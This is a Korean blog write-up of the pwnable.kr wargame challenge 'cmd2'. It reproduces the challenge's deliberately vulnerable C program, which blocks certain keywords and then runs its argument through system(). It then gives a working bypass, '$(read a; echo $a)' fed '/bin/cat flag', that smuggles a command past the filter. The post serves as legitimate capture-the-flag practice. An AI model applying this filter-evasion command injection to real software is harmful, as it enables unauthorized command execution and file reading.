pwnable.kr - cmd2
2018. 9. 9. 01:50ㆍWarGame/pwnable.kr
이번 문제는 pwnable.kr - cmd2문제입니다.
cmd1보다는 필터링이 상당히 많아져서 삽질좀 많이 했네여
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | #include <stdio.h> #include <string.h> int filter(char* cmd){ int r=0; r += strstr(cmd, "=")!=0; r += strstr(cmd, "PATH")!=0; r += strstr(cmd, "export")!=0; r += strstr(cmd, "/")!=0; r += strstr(cmd, "`")!=0; r += strstr(cmd, "flag")!=0; return r; } extern char** environ; void delete_env(){ char** p; for(p=environ; *p; p++) memset(*p, 0, strlen(*p)); } int main(int argc, char* argv[], char** envp){ delete_env(); putenv("PATH=/no_command_execution_until_you_become_a_hacker"); if(filter(argv[1])) return 0; printf("%s\n", argv[1]); system( argv[1] ); return 0; } | cs |
별의 별개 다막혔네요 ㅎㅎ
전에사용했던것을 조금 응용해서 새로운 익스를 짜봤습니다.
cmd2@ubuntu:~$ ./cmd2 '$(read a; echo $a)'
$(read a; echo $a)
/bin/cat flag
(grin)
'WarGame > pwnable.kr' 카테고리의 다른 글
pwnable.kr - horcruxes (0) | 2021.07.06 |
---|---|
pwnable.kr - uaf (0) | 2018.09.10 |
pwnable.kr - cmd1 (0) | 2018.09.03 |
pwnable.kr - lotto (0) | 2018.09.02 |
pwnable.kr - blackjack (0) | 2018.08.29 |